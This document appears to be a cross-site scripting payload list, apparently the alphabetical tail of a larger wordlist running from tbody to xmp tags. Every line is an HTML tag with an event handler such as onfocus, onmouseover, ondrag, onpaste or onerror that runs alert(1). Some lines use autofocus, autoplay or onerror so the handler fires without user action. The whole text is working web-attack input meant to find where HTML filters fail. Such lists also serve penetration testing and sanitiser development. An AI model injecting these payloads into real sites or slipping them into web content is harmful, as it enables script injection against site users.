<tbody draggable="true" ondragenter="alert(1)">test</tbody>
<tbody draggable="true" ondragleave="alert(1)">test</tbody>
<tbody draggable="true" ondragstart="alert(1)">test</tbody>
<tbody id=x tabindex=1 onactivate=alert(1)></tbody>
<tbody id=x tabindex=1 onbeforeactivate=alert(1)></tbody>
<tbody id=x tabindex=1 onbeforedeactivate=alert(1)></tbody><input autofocus>
<tbody id=x tabindex=1 ondeactivate=alert(1)></tbody><input id=y autofocus>
<tbody id=x tabindex=1 onfocus=alert(1)></tbody>
<tbody id=x tabindex=1 onfocusin=alert(1)></tbody>
<tbody onbeforecopy="alert(1)" contenteditable>test</tbody>
<tbody onbeforecut="alert(1)" contenteditable>test</tbody>
<tbody onbeforepaste="alert(1)" contenteditable>test</tbody>
<tbody onblur=alert(1) tabindex=1 id=x></tbody><input autofocus>
<tbody onclick="alert(1)">test</tbody>
<tbody oncontextmenu="alert(1)">test</tbody>
<tbody oncopy="alert(1)" contenteditable>test</tbody>
<tbody oncut="alert(1)" contenteditable>test</tbody>
<tbody ondblclick="alert(1)">test</tbody>
<tbody onfocusout=alert(1) tabindex=1 id=x></tbody><input autofocus>
<tbody onkeydown="alert(1)" contenteditable>test</tbody>
<tbody onkeypress="alert(1)" contenteditable>test</tbody>
<tbody onkeyup="alert(1)" contenteditable>test</tbody>
<tbody onmousedown="alert(1)">test</tbody>
<tbody onmouseenter="alert(1)">test</tbody>
<tbody onmouseleave="alert(1)">test</tbody>
<tbody onmousemove="alert(1)">test</tbody>
<tbody onmouseout="alert(1)">test</tbody>
<tbody onmouseover="alert(1)">test</tbody>
<tbody onmouseup="alert(1)">test</tbody>
<tbody onpaste="alert(1)" contenteditable>test</tbody>
<td draggable="true" ondrag="alert(1)">test</td>
<td draggable="true" ondragend="alert(1)">test</td>
<td draggable="true" ondragenter="alert(1)">test</td>
<td draggable="true" ondragleave="alert(1)">test</td>
<td draggable="true" ondragstart="alert(1)">test</td>
<td id=x tabindex=1 onactivate=alert(1)></td>
<td id=x tabindex=1 onbeforeactivate=alert(1)></td>
<td id=x tabindex=1 onbeforedeactivate=alert(1)></td><input autofocus>
<td id=x tabindex=1 ondeactivate=alert(1)></td><input id=y autofocus>
<td id=x tabindex=1 onfocus=alert(1)></td>
<td id=x tabindex=1 onfocusin=alert(1)></td>
<td onbeforecopy="alert(1)" contenteditable>test</td>
<td onbeforecut="alert(1)" contenteditable>test</td>
<td onbeforepaste="alert(1)" contenteditable>test</td>
<td onblur=alert(1) tabindex=1 id=x></td><input autofocus>
<td onclick="alert(1)">test</td>
<td oncontextmenu="alert(1)">test</td>
<td oncopy="alert(1)" contenteditable>test</td>
<td oncut="alert(1)" contenteditable>test</td>
<td ondblclick="alert(1)">test</td>
<td onfocusout=alert(1) tabindex=1 id=x></td><input autofocus>
<td onkeydown="alert(1)" contenteditable>test</td>
<td onkeypress="alert(1)" contenteditable>test</td>
<td onkeyup="alert(1)" contenteditable>test</td>
<td onmousedown="alert(1)">test</td>
<td onmouseenter="alert(1)">test</td>
<td onmouseleave="alert(1)">test</td>
<td onmousemove="alert(1)">test</td>
<td onmouseout="alert(1)">test</td>
<td onmouseover="alert(1)">test</td>
<td onmouseup="alert(1)">test</td>
<td onpaste="alert(1)" contenteditable>test</td>
<template draggable="true" ondrag="alert(1)">test</template>
<template draggable="true" ondragend="alert(1)">test</template>
<template draggable="true" ondragenter="alert(1)">test</template>
<template draggable="true" ondragleave="alert(1)">test</template>
<template draggable="true" ondragstart="alert(1)">test</template>
<template id=x tabindex=1 onactivate=alert(1)></template>
<template id=x tabindex=1 onbeforeactivate=alert(1)></template>
<template id=x tabindex=1 onbeforedeactivate=alert(1)></template><input autofocus>
<template id=x tabindex=1 ondeactivate=alert(1)></template><input id=y autofocus>
<template id=x tabindex=1 onfocus=alert(1)></template>
<template id=x tabindex=1 onfocusin=alert(1)></template>
<template onbeforecopy="alert(1)" contenteditable>test</template>
<template onbeforecut="alert(1)" contenteditable>test</template>
<template onbeforepaste="alert(1)" contenteditable>test</template>
<template onblur=alert(1) tabindex=1 id=x></template><input autofocus>
<template onclick="alert(1)">test</template>
<template oncontextmenu="alert(1)">test</template>
<template oncopy="alert(1)" contenteditable>test</template>
<template oncut="alert(1)" contenteditable>test</template>
<template ondblclick="alert(1)">test</template>
<template onfocusout=alert(1) tabindex=1 id=x></template><input autofocus>
<template onkeydown="alert(1)" contenteditable>test</template>
<template onkeypress="alert(1)" contenteditable>test</template>
<template onkeyup="alert(1)" contenteditable>test</template>
<template onmousedown="alert(1)">test</template>
<template onmouseenter="alert(1)">test</template>
<template onmouseleave="alert(1)">test</template>
<template onmousemove="alert(1)">test</template>
<template onmouseout="alert(1)">test</template>
<template onmouseover="alert(1)">test</template>
<template onmouseup="alert(1)">test</template>
<template onpaste="alert(1)" contenteditable>test</template>
<textarea autofocus onfocus=alert(1)>test</textarea>
<textarea autofocus onfocusin=alert(1)>test</textarea>
<textarea draggable="true" ondrag="alert(1)">test</textarea>
<textarea draggable="true" ondragend="alert(1)">test</textarea>
<textarea draggable="true" ondragenter="alert(1)">test</textarea>
<textarea draggable="true" ondragleave="alert(1)">test</textarea>
<textarea draggable="true" ondragstart="alert(1)">test</textarea>
<textarea id=x tabindex=1 onactivate=alert(1)></textarea>
<textarea id=x tabindex=1 onbeforeactivate=alert(1)></textarea>
<textarea id=x tabindex=1 onbeforedeactivate=alert(1)></textarea><input autofocus>
<textarea id=x tabindex=1 ondeactivate=alert(1)></textarea><input id=y autofocus>
<textarea onauxclick=alert(1)>XSS</textarea>
<textarea onbeforecopy=alert(1) autofocus>XSS</textarea>
<textarea onbeforecut=alert(1) autofocus>XSS</textarea>
<textarea onbeforepaste=alert(1) autofocus></textarea>
<textarea onblur=alert(1) id=x></textarea><input autofocus>
<textarea onchange=alert(1)>XSS</textarea>
<textarea onclick="alert(1)">test</textarea>
<textarea oncontextmenu="alert(1)">test</textarea>
<textarea oncopy=alert(1) autofocus>XSS</textarea>
<textarea oncut=alert(1) autofocus>XSS</textarea>
<textarea ondblclick="alert(1)">test</textarea>
<textarea onfocusout=alert(1) id=x></textarea><input autofocus>
<textarea oninput=alert(1)>XSS</textarea>
<textarea onkeydown="alert(1)" contenteditable>test</textarea>
<textarea onkeypress="alert(1)" contenteditable>test</textarea>
<textarea onkeyup="alert(1)" contenteditable>test</textarea>
<textarea onmousedown="alert(1)">test</textarea>
<textarea onmouseenter="alert(1)">test</textarea>
<textarea onmouseleave="alert(1)">test</textarea>
<textarea onmousemove="alert(1)">test</textarea>
<textarea onmouseout="alert(1)">test</textarea>
<textarea onmouseover="alert(1)">test</textarea>
<textarea onmouseup="alert(1)">test</textarea>
<textarea onpaste=alert(1) autofocus></textarea>
<textarea onselect=alert(1) autofocus>XSS</textarea>
<tfoot draggable="true" ondrag="alert(1)">test</tfoot>
<tfoot draggable="true" ondragend="alert(1)">test</tfoot>
<tfoot draggable="true" ondragenter="alert(1)">test</tfoot>
<tfoot draggable="true" ondragleave="alert(1)">test</tfoot>
<tfoot draggable="true" ondragstart="alert(1)">test</tfoot>
<tfoot id=x tabindex=1 onactivate=alert(1)></tfoot>
<tfoot id=x tabindex=1 onbeforeactivate=alert(1)></tfoot>
<tfoot id=x tabindex=1 onbeforedeactivate=alert(1)></tfoot><input autofocus>
<tfoot id=x tabindex=1 ondeactivate=alert(1)></tfoot><input id=y autofocus>
<tfoot id=x tabindex=1 onfocus=alert(1)></tfoot>
<tfoot id=x tabindex=1 onfocusin=alert(1)></tfoot>
<tfoot onbeforecopy="alert(1)" contenteditable>test</tfoot>
<tfoot onbeforecut="alert(1)" contenteditable>test</tfoot>
<tfoot onbeforepaste="alert(1)" contenteditable>test</tfoot>
<tfoot onblur=alert(1) tabindex=1 id=x></tfoot><input autofocus>
<tfoot onclick="alert(1)">test</tfoot>
<tfoot oncontextmenu="alert(1)">test</tfoot>
<tfoot oncopy="alert(1)" contenteditable>test</tfoot>
<tfoot oncut="alert(1)" contenteditable>test</tfoot>
<tfoot ondblclick="alert(1)">test</tfoot>
<tfoot onfocusout=alert(1) tabindex=1 id=x></tfoot><input autofocus>
<tfoot onkeydown="alert(1)" contenteditable>test</tfoot>
<tfoot onkeypress="alert(1)" contenteditable>test</tfoot>
<tfoot onkeyup="alert(1)" contenteditable>test</tfoot>
<tfoot onmousedown="alert(1)">test</tfoot>
<tfoot onmouseenter="alert(1)">test</tfoot>
<tfoot onmouseleave="alert(1)">test</tfoot>
<tfoot onmousemove="alert(1)">test</tfoot>
<tfoot onmouseout="alert(1)">test</tfoot>
<tfoot onmouseover="alert(1)">test</tfoot>
<tfoot onmouseup="alert(1)">test</tfoot>
<tfoot onpaste="alert(1)" contenteditable>test</tfoot>
<th draggable="true" ondrag="alert(1)">test</th>
<th draggable="true" ondragend="alert(1)">test</th>
<th draggable="true" ondragenter="alert(1)">test</th>
<th draggable="true" ondragleave="alert(1)">test</th>
<th draggable="true" ondragstart="alert(1)">test</th>
<th id=x tabindex=1 onactivate=alert(1)></th>
<th id=x tabindex=1 onbeforeactivate=alert(1)></th>
<th id=x tabindex=1 onbeforedeactivate=alert(1)></th><input autofocus>
<th id=x tabindex=1 ondeactivate=alert(1)></th><input id=y autofocus>
<th id=x tabindex=1 onfocus=alert(1)></th>
<th id=x tabindex=1 onfocusin=alert(1)></th>
<th onbeforecopy="alert(1)" contenteditable>test</th>
<th onbeforecut="alert(1)" contenteditable>test</th>
<th onbeforepaste="alert(1)" contenteditable>test</th>
<th onblur=alert(1) tabindex=1 id=x></th><input autofocus>
<th onclick="alert(1)">test</th>
<th oncontextmenu="alert(1)">test</th>
<th oncopy="alert(1)" contenteditable>test</th>
<th oncut="alert(1)" contenteditable>test</th>
<th ondblclick="alert(1)">test</th>
<th onfocusout=alert(1) tabindex=1 id=x></th><input autofocus>
<th onkeydown="alert(1)" contenteditable>test</th>
<th onkeypress="alert(1)" contenteditable>test</th>
<th onkeyup="alert(1)" contenteditable>test</th>
<th onmousedown="alert(1)">test</th>
<th onmouseenter="alert(1)">test</th>
<th onmouseleave="alert(1)">test</th>
<th onmousemove="alert(1)">test</th>
<th onmouseout="alert(1)">test</th>
<th onmouseover="alert(1)">test</th>
<th onmouseup="alert(1)">test</th>
<th onpaste="alert(1)" contenteditable>test</th>
<thead draggable="true" ondrag="alert(1)">test</thead>
<thead draggable="true" ondragend="alert(1)">test</thead>
<thead draggable="true" ondragenter="alert(1)">test</thead>
<thead draggable="true" ondragleave="alert(1)">test</thead>
<thead draggable="true" ondragstart="alert(1)">test</thead>
<thead id=x tabindex=1 onactivate=alert(1)></thead>
<thead id=x tabindex=1 onbeforeactivate=alert(1)></thead>
<thead id=x tabindex=1 onbeforedeactivate=alert(1)></thead><input autofocus>
<thead id=x tabindex=1 ondeactivate=alert(1)></thead><input id=y autofocus>
<thead id=x tabindex=1 onfocus=alert(1)></thead>
<thead id=x tabindex=1 onfocusin=alert(1)></thead>
<thead onbeforecopy="alert(1)" contenteditable>test</thead>
<thead onbeforecut="alert(1)" contenteditable>test</thead>
<thead onbeforepaste="alert(1)" contenteditable>test</thead>
<thead onblur=alert(1) tabindex=1 id=x></thead><input autofocus>
<thead onclick="alert(1)">test</thead>
<thead oncontextmenu="alert(1)">test</thead>
<thead oncopy="alert(1)" contenteditable>test</thead>
<thead oncut="alert(1)" contenteditable>test</thead>
<thead ondblclick="alert(1)">test</thead>
<thead onfocusout=alert(1) tabindex=1 id=x></thead><input autofocus>
<thead onkeydown="alert(1)" contenteditable>test</thead>
<thead onkeypress="alert(1)" contenteditable>test</thead>
<thead onkeyup="alert(1)" contenteditable>test</thead>
<thead onmousedown="alert(1)">test</thead>
<thead onmouseenter="alert(1)">test</thead>
<thead onmouseleave="alert(1)">test</thead>
<thead onmousemove="alert(1)">test</thead>
<thead onmouseout="alert(1)">test</thead>
<thead onmouseover="alert(1)">test</thead>
<thead onmouseup="alert(1)">test</thead>
<thead onpaste="alert(1)" contenteditable>test</thead>
<time draggable="true" ondrag="alert(1)">test</time>
<time draggable="true" ondragend="alert(1)">test</time>
<time draggable="true" ondragenter="alert(1)">test</time>
<time draggable="true" ondragleave="alert(1)">test</time>
<time draggable="true" ondragstart="alert(1)">test</time>
<time id=x tabindex=1 onactivate=alert(1)></time>
<time id=x tabindex=1 onbeforeactivate=alert(1)></time>
<time id=x tabindex=1 onbeforedeactivate=alert(1)></time><input autofocus>
<time id=x tabindex=1 ondeactivate=alert(1)></time><input id=y autofocus>
<time id=x tabindex=1 onfocus=alert(1)></time>
<time id=x tabindex=1 onfocusin=alert(1)></time>
<time onbeforecopy="alert(1)" contenteditable>test</time>
<time onbeforecut="alert(1)" contenteditable>test</time>
<time onbeforepaste="alert(1)" contenteditable>test</time>
<time onblur=alert(1) tabindex=1 id=x></time><input autofocus>
<time onclick="alert(1)">test</time>
<time oncontextmenu="alert(1)">test</time>
<time oncopy="alert(1)" contenteditable>test</time>
<time oncut="alert(1)" contenteditable>test</time>
<time ondblclick="alert(1)">test</time>
<time onfocusout=alert(1) tabindex=1 id=x></time><input autofocus>
<time onkeydown="alert(1)" contenteditable>test</time>
<time onkeypress="alert(1)" contenteditable>test</time>
<time onkeyup="alert(1)" contenteditable>test</time>
<time onmousedown="alert(1)">test</time>
<time onmouseenter="alert(1)">test</time>
<time onmouseleave="alert(1)">test</time>
<time onmousemove="alert(1)">test</time>
<time onmouseout="alert(1)">test</time>
<time onmouseover="alert(1)">test</time>
<time onmouseup="alert(1)">test</time>
<time onpaste="alert(1)" contenteditable>test</time>
<title draggable="true" ondrag="alert(1)">test</title>
<title draggable="true" ondragend="alert(1)">test</title>
<title draggable="true" ondragenter="alert(1)">test</title>
<title draggable="true" ondragleave="alert(1)">test</title>
<title draggable="true" ondragstart="alert(1)">test</title>
<title id=x tabindex=1 onactivate=alert(1)></title>
<title id=x tabindex=1 onbeforeactivate=alert(1)></title>
<title id=x tabindex=1 onbeforedeactivate=alert(1)></title><input autofocus>
<title id=x tabindex=1 ondeactivate=alert(1)></title><input id=y autofocus>
<title id=x tabindex=1 onfocus=alert(1)></title>
<title id=x tabindex=1 onfocusin=alert(1)></title>
<title onbeforecopy="alert(1)" contenteditable>test</title>
<title onbeforecut="alert(1)" contenteditable>test</title>
<title onbeforepaste="alert(1)" contenteditable>test</title>
<title onblur=alert(1) tabindex=1 id=x></title><input autofocus>
<title onclick="alert(1)">test</title>
<title oncontextmenu="alert(1)">test</title>
<title oncopy="alert(1)" contenteditable>test</title>
<title oncut="alert(1)" contenteditable>test</title>
<title ondblclick="alert(1)">test</title>
<title onfocusout=alert(1) tabindex=1 id=x></title><input autofocus>
<title onkeydown="alert(1)" contenteditable>test</title>
<title onkeypress="alert(1)" contenteditable>test</title>
<title onkeyup="alert(1)" contenteditable>test</title>
<title onmousedown="alert(1)">test</title>
<title onmouseenter="alert(1)">test</title>
<title onmouseleave="alert(1)">test</title>
<title onmousemove="alert(1)">test</title>
<title onmouseout="alert(1)">test</title>
<title onmouseover="alert(1)">test</title>
<title onmouseup="alert(1)">test</title>
<title onpaste="alert(1)" contenteditable>test</title>
<tr draggable="true" ondrag="alert(1)">test</tr>
<tr draggable="true" ondragend="alert(1)">test</tr>
<tr draggable="true" ondragenter="alert(1)">test</tr>
<tr draggable="true" ondragleave="alert(1)">test</tr>
<tr draggable="true" ondragstart="alert(1)">test</tr>
<tr id=x tabindex=1 onactivate=alert(1)></tr>
<tr id=x tabindex=1 onbeforeactivate=alert(1)></tr>
<tr id=x tabindex=1 onbeforedeactivate=alert(1)></tr><input autofocus>
<tr id=x tabindex=1 ondeactivate=alert(1)></tr><input id=y autofocus>
<tr id=x tabindex=1 onfocus=alert(1)></tr>
<tr id=x tabindex=1 onfocusin=alert(1)></tr>
<tr onbeforecopy="alert(1)" contenteditable>test</tr>
<tr onbeforecut="alert(1)" contenteditable>test</tr>
<tr onbeforepaste="alert(1)" contenteditable>test</tr>
<tr onblur=alert(1) tabindex=1 id=x></tr><input autofocus>
<tr onclick="alert(1)">test</tr>
<tr oncontextmenu="alert(1)">test</tr>
<tr oncopy="alert(1)" contenteditable>test</tr>
<tr oncut="alert(1)" contenteditable>test</tr>
<tr ondblclick="alert(1)">test</tr>
<tr onfocusout=alert(1) tabindex=1 id=x></tr><input autofocus>
<tr onkeydown="alert(1)" contenteditable>test</tr>
<tr onkeypress="alert(1)" contenteditable>test</tr>
<tr onkeyup="alert(1)" contenteditable>test</tr>
<tr onmousedown="alert(1)">test</tr>
<tr onmouseenter="alert(1)">test</tr>
<tr onmouseleave="alert(1)">test</tr>
<tr onmousemove="alert(1)">test</tr>
<tr onmouseout="alert(1)">test</tr>
<tr onmouseover="alert(1)">test</tr>
<tr onmouseup="alert(1)">test</tr>
<tr onpaste="alert(1)" contenteditable>test</tr>
<track draggable="true" ondrag="alert(1)">test</track>
<track draggable="true" ondragend="alert(1)">test</track>
<track draggable="true" ondragenter="alert(1)">test</track>
<track draggable="true" ondragleave="alert(1)">test</track>
<track draggable="true" ondragstart="alert(1)">test</track>
<track id=x tabindex=1 onactivate=alert(1)></track>
<track id=x tabindex=1 onbeforeactivate=alert(1)></track>
<track id=x tabindex=1 onbeforedeactivate=alert(1)></track><input autofocus>
<track id=x tabindex=1 ondeactivate=alert(1)></track><input id=y autofocus>
<track id=x tabindex=1 onfocus=alert(1)></track>
<track id=x tabindex=1 onfocusin=alert(1)></track>
<track onbeforecopy="alert(1)" contenteditable>test</track>
<track onbeforecut="alert(1)" contenteditable>test</track>
<track onbeforepaste="alert(1)" contenteditable>test</track>
<track onblur=alert(1) tabindex=1 id=x></track><input autofocus>
<track onclick="alert(1)">test</track>
<track oncontextmenu="alert(1)">test</track>
<track oncopy="alert(1)" contenteditable>test</track>
<track oncut="alert(1)" contenteditable>test</track>
<track ondblclick="alert(1)">test</track>
<track onfocusout=alert(1) tabindex=1 id=x></track><input autofocus>
<track onkeydown="alert(1)" contenteditable>test</track>
<track onkeypress="alert(1)" contenteditable>test</track>
<track onkeyup="alert(1)" contenteditable>test</track>
<track onmousedown="alert(1)">test</track>
<track onmouseenter="alert(1)">test</track>
<track onmouseleave="alert(1)">test</track>
<track onmousemove="alert(1)">test</track>
<track onmouseout="alert(1)">test</track>
<track onmouseover="alert(1)">test</track>
<track onmouseup="alert(1)">test</track>
<track onpaste="alert(1)" contenteditable>test</track>
<tt draggable="true" ondrag="alert(1)">test</tt>
<tt draggable="true" ondragend="alert(1)">test</tt>
<tt draggable="true" ondragenter="alert(1)">test</tt>
<tt draggable="true" ondragleave="alert(1)">test</tt>
<tt draggable="true" ondragstart="alert(1)">test</tt>
<tt id=x tabindex=1 onactivate=alert(1)></tt>
<tt id=x tabindex=1 onbeforeactivate=alert(1)></tt>
<tt id=x tabindex=1 onbeforedeactivate=alert(1)></tt><input autofocus>
<tt id=x tabindex=1 ondeactivate=alert(1)></tt><input id=y autofocus>
<tt id=x tabindex=1 onfocus=alert(1)></tt>
<tt id=x tabindex=1 onfocusin=alert(1)></tt>
<tt onbeforecopy="alert(1)" contenteditable>test</tt>
<tt onbeforecut="alert(1)" contenteditable>test</tt>
<tt onbeforepaste="alert(1)" contenteditable>test</tt>
<tt onblur=alert(1) tabindex=1 id=x></tt><input autofocus>
<tt onclick="alert(1)">test</tt>
<tt oncontextmenu="alert(1)">test</tt>
<tt oncopy="alert(1)" contenteditable>test</tt>
<tt oncut="alert(1)" contenteditable>test</tt>
<tt ondblclick="alert(1)">test</tt>
<tt onfocusout=alert(1) tabindex=1 id=x></tt><input autofocus>
<tt onkeydown="alert(1)" contenteditable>test</tt>
<tt onkeypress="alert(1)" contenteditable>test</tt>
<tt onkeyup="alert(1)" contenteditable>test</tt>
<tt onmousedown="alert(1)">test</tt>
<tt onmouseenter="alert(1)">test</tt>
<tt onmouseleave="alert(1)">test</tt>
<tt onmousemove="alert(1)">test</tt>
<tt onmouseout="alert(1)">test</tt>
<tt onmouseover="alert(1)">test</tt>
<tt onmouseup="alert(1)">test</tt>
<tt onpaste="alert(1)" contenteditable>test</tt>
<u draggable="true" ondrag="alert(1)">test</u>
<u draggable="true" ondragend="alert(1)">test</u>
<u draggable="true" ondragenter="alert(1)">test</u>
<u draggable="true" ondragleave="alert(1)">test</u>
<u draggable="true" ondragstart="alert(1)">test</u>
<u id=x tabindex=1 onactivate=alert(1)></u>
<u id=x tabindex=1 onbeforeactivate=alert(1)></u>
<u id=x tabindex=1 onbeforedeactivate=alert(1)></u><input autofocus>
<u id=x tabindex=1 ondeactivate=alert(1)></u><input id=y autofocus>
<u id=x tabindex=1 onfocus=alert(1)></u>
<u id=x tabindex=1 onfocusin=alert(1)></u>
<u onbeforecopy="alert(1)" contenteditable>test</u>
<u onbeforecut="alert(1)" contenteditable>test</u>
<u onbeforepaste="alert(1)" contenteditable>test</u>
<u onblur=alert(1) tabindex=1 id=x></u><input autofocus>
<u onclick="alert(1)">test</u>
<u oncontextmenu="alert(1)">test</u>
<u oncopy="alert(1)" contenteditable>test</u>
<u oncut="alert(1)" contenteditable>test</u>
<u ondblclick="alert(1)">test</u>
<u onfocusout=alert(1) tabindex=1 id=x></u><input autofocus>
<u onkeydown="alert(1)" contenteditable>test</u>
<u onkeypress="alert(1)" contenteditable>test</u>
<u onkeyup="alert(1)" contenteditable>test</u>
<u onmousedown="alert(1)">test</u>
<u onmouseenter="alert(1)">test</u>
<u onmouseleave="alert(1)">test</u>
<u onmousemove="alert(1)">test</u>
<u onmouseout="alert(1)">test</u>
<u onmouseover="alert(1)">test</u>
<u onmouseup="alert(1)">test</u>
<u onpaste="alert(1)" contenteditable>test</u>
<ul draggable="true" ondrag="alert(1)">test</ul>
<ul draggable="true" ondragend="alert(1)">test</ul>
<ul draggable="true" ondragenter="alert(1)">test</ul>
<ul draggable="true" ondragleave="alert(1)">test</ul>
<ul draggable="true" ondragstart="alert(1)">test</ul>
<ul id=x tabindex=1 onactivate=alert(1)></ul>
<ul id=x tabindex=1 onbeforeactivate=alert(1)></ul>
<ul id=x tabindex=1 onbeforedeactivate=alert(1)></ul><input autofocus>
<ul id=x tabindex=1 ondeactivate=alert(1)></ul><input id=y autofocus>
<ul id=x tabindex=1 onfocus=alert(1)></ul>
<ul id=x tabindex=1 onfocusin=alert(1)></ul>
<ul onbeforecopy="alert(1)" contenteditable>test</ul>
<ul onbeforecut="alert(1)" contenteditable>test</ul>
<ul onbeforepaste="alert(1)" contenteditable>test</ul>
<ul onblur=alert(1) tabindex=1 id=x></ul><input autofocus>
<ul onclick="alert(1)">test</ul>
<ul oncontextmenu="alert(1)">test</ul>
<ul oncopy="alert(1)" contenteditable>test</ul>
<ul oncut="alert(1)" contenteditable>test</ul>
<ul ondblclick="alert(1)">test</ul>
<ul onfocusout=alert(1) tabindex=1 id=x></ul><input autofocus>
<ul onkeydown="alert(1)" contenteditable>test</ul>
<ul onkeypress="alert(1)" contenteditable>test</ul>
<ul onkeyup="alert(1)" contenteditable>test</ul>
<ul onmousedown="alert(1)">test</ul>
<ul onmouseenter="alert(1)">test</ul>
<ul onmouseleave="alert(1)">test</ul>
<ul onmousemove="alert(1)">test</ul>
<ul onmouseout="alert(1)">test</ul>
<ul onmouseover="alert(1)">test</ul>
<ul onmouseup="alert(1)">test</ul>
<ul onpaste="alert(1)" contenteditable>test</ul>
<var draggable="true" ondrag="alert(1)">test</var>
<var draggable="true" ondragend="alert(1)">test</var>
<var draggable="true" ondragenter="alert(1)">test</var>
<var draggable="true" ondragleave="alert(1)">test</var>
<var draggable="true" ondragstart="alert(1)">test</var>
<var id=x tabindex=1 onactivate=alert(1)></var>
<var id=x tabindex=1 onbeforeactivate=alert(1)></var>
<var id=x tabindex=1 onbeforedeactivate=alert(1)></var><input autofocus>
<var id=x tabindex=1 ondeactivate=alert(1)></var><input id=y autofocus>
<var id=x tabindex=1 onfocus=alert(1)></var>
<var id=x tabindex=1 onfocusin=alert(1)></var>
<var onbeforecopy="alert(1)" contenteditable>test</var>
<var onbeforecut="alert(1)" contenteditable>test</var>
<var onbeforepaste="alert(1)" contenteditable>test</var>
<var onblur=alert(1) tabindex=1 id=x></var><input autofocus>
<var onclick="alert(1)">test</var>
<var oncontextmenu="alert(1)">test</var>
<var oncopy="alert(1)" contenteditable>test</var>
<var oncut="alert(1)" contenteditable>test</var>
<var ondblclick="alert(1)">test</var>
<var onfocusout=alert(1) tabindex=1 id=x></var><input autofocus>
<var onkeydown="alert(1)" contenteditable>test</var>
<var onkeypress="alert(1)" contenteditable>test</var>
<var onkeyup="alert(1)" contenteditable>test</var>
<var onmousedown="alert(1)">test</var>
<var onmouseenter="alert(1)">test</var>
<var onmouseleave="alert(1)">test</var>
<var onmousemove="alert(1)">test</var>
<var onmouseout="alert(1)">test</var>
<var onmouseover="alert(1)">test</var>
<var onmouseup="alert(1)">test</var>
<var onpaste="alert(1)" contenteditable>test</var>
<video autoplay controls onpause=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
<video autoplay controls onseeked=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
<video autoplay controls onseeking=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
<video autoplay controls onvolumechange=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
<video autoplay controls onwaiting=alert(1)><source src="validvideo.mp4" type=video/mp4></video>
<video autoplay onloadedmetadata=alert(1)> <source src="validvideo.mp4" type="video/mp4"></video>
<video autoplay onplay=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
<video autoplay onplaying=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
<video controls autoplay onended=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
<video controls autoplay ontimeupdate=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
<video draggable="true" ondrag="alert(1)">test</video>
<video draggable="true" ondragend="alert(1)">test</video>
<video draggable="true" ondragenter="alert(1)">test</video>
<video draggable="true" ondragleave="alert(1)">test</video>
<video draggable="true" ondragstart="alert(1)">test</video>
<video id=x controls onfocus=alert(1)><source src="validvideo.mp4" type=video/mp4></video>
<video id=x controls onfocusin=alert(1)><source src="validvideo.mp4" type=video/mp4></video>
<video id=x tabindex=1 onactivate=alert(1)></video>
<video id=x tabindex=1 onbeforeactivate=alert(1)></video>
<video id=x tabindex=1 onbeforedeactivate=alert(1)></video><input autofocus>
<video id=x tabindex=1 ondeactivate=alert(1)></video><input id=y autofocus>
<video onbeforecopy="alert(1)" contenteditable>test</video>
<video onbeforecut="alert(1)" contenteditable>test</video>
<video onbeforepaste="alert(1)" contenteditable>test</video>
<video onblur=alert(1) tabindex=1 id=x></video><input autofocus>
<video oncanplay=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
<video oncanplaythrough=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
<video onclick="alert(1)">test</video>
<video oncontextmenu="alert(1)">test</video>
<video oncopy="alert(1)" contenteditable>test</video>
<video oncut="alert(1)" contenteditable>test</video>
<video ondblclick="alert(1)">test</video>
<video onfocusout=alert(1) tabindex=1 id=x></video><input autofocus>
<video onkeydown="alert(1)" contenteditable>test</video>
<video onkeypress="alert(1)" contenteditable>test</video>
<video onkeyup="alert(1)" contenteditable>test</video>
<video onloadeddata=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
<video onmousedown="alert(1)">test</video>
<video onmouseenter="alert(1)">test</video>
<video onmouseleave="alert(1)">test</video>
<video onmousemove="alert(1)">test</video>
<video onmouseout="alert(1)">test</video>
<video onmouseover="alert(1)">test</video>
<video onmouseup="alert(1)">test</video>
<video onpaste="alert(1)" contenteditable>test</video>
<video src/onerror=alert(1)>
<video><source onerror=alert(1) src=1></video>
<video><track default onload=alert(1) src="data:text/vtt,WEBVTT"></video>
<wbr draggable="true" ondrag="alert(1)">test</wbr>
<wbr draggable="true" ondragend="alert(1)">test</wbr>
<wbr draggable="true" ondragenter="alert(1)">test</wbr>
<wbr draggable="true" ondragleave="alert(1)">test</wbr>
<wbr draggable="true" ondragstart="alert(1)">test</wbr>
<wbr id=x tabindex=1 onactivate=alert(1)></wbr>
<wbr id=x tabindex=1 onbeforeactivate=alert(1)></wbr>
<wbr id=x tabindex=1 onbeforedeactivate=alert(1)></wbr><input autofocus>
<wbr id=x tabindex=1 ondeactivate=alert(1)></wbr><input id=y autofocus>
<wbr id=x tabindex=1 onfocus=alert(1)></wbr>
<wbr id=x tabindex=1 onfocusin=alert(1)></wbr>
<wbr onbeforecopy="alert(1)" contenteditable>test</wbr>
<wbr onbeforecut="alert(1)" contenteditable>test</wbr>
<wbr onbeforepaste="alert(1)" contenteditable>test</wbr>
<wbr onblur=alert(1) tabindex=1 id=x></wbr><input autofocus>
<wbr onclick="alert(1)">test</wbr>
<wbr oncontextmenu="alert(1)">test</wbr>
<wbr oncopy="alert(1)" contenteditable>test</wbr>
<wbr oncut="alert(1)" contenteditable>test</wbr>
<wbr ondblclick="alert(1)">test</wbr>
<wbr onfocusout=alert(1) tabindex=1 id=x></wbr><input autofocus>
<wbr onkeydown="alert(1)" contenteditable>test</wbr>
<wbr onkeypress="alert(1)" contenteditable>test</wbr>
<wbr onkeyup="alert(1)" contenteditable>test</wbr>
<wbr onmousedown="alert(1)">test</wbr>
<wbr onmouseenter="alert(1)">test</wbr>
<wbr onmouseleave="alert(1)">test</wbr>
<wbr onmousemove="alert(1)">test</wbr>
<wbr onmouseout="alert(1)">test</wbr>
<wbr onmouseover="alert(1)">test</wbr>
<wbr onmouseup="alert(1)">test</wbr>
<wbr onpaste="alert(1)" contenteditable>test</wbr>
<xmp draggable="true" ondrag="alert(1)">test</xmp>
<xmp draggable="true" ondragend="alert(1)">test</xmp>
<xmp draggable="true" ondragenter="alert(1)">test</xmp>
